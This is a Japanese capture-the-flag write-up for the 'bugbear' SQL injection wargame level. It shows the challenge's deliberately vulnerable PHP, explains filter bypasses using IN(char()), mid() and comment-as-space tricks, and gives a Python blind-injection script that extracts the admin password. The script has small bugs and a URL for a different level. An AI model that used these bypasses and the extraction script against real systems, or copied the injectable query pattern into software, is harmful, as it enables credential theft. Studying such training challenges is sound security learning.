include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
特徴は以下。
- noとpwを入力する。以下フィルターがある
- noは
',substr,ascii,=,or,and, ,like,0xが使えない - pwは
'が使えない
- noは
- adminのpwを抜き取る必要がある。
これもBlind SQL Injectionを頑張る。
noは大変そうだが、pwも'が使えないので、noの方に頑張って入れていく。
likeも=も使えないぞ?
これが一番の問題。IN構文を使おう。spaceもspace2commentでやる。
長さはこれで取得する。
0/**/||/**/id/**/in(char(97,100,109,105,110))/**/&&/**/length(pw)/**/in(char({ord(str(x))}))
パスワードを取ってくる。
0/**/||/**/id/**/in(char(97,100,109,105,110))/**/&&/**/mid(pw,{i+1},1)/**/in(char({ord(c)}))
import requests
url = "https://los.rubiya.kr/chall/golem_4asdfsdfasdff5.php"
cookie = {'PHPSESSID': 'eoasdfasdfasdf7efq5'}
def check(data) -> bool:
return "Hello admin" in data
length = -1
for x in range(1, 10):
q = f"0/**/||/**/id/**/in(char(97,100,109,105,110))/**/&&/**/length(pw)/**/in(char({ord(str(x))}))"
res = requests.get(url, params={'no': q}, cookies=cookie)
print(f"[+] try {x}")
if check(res.text):
length = x
break
print(f"[*] length = {length}")
ans = ""
for i in range(0, length):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,":
q = f"0/**/||/**/id/**/in(char(97,100,109,105,110))/**/&&/**/mid(pw,{i+1},1)/**/in(char({ord(c)}))"
res = requests.get(url, params={'no': q}, cookies=cookie)
if check(res.text):
ans += c
ok = True
break
ans += str(chr(ok + 1))
print(f"[*] {ans}")
print(f"[*] find! {ans}")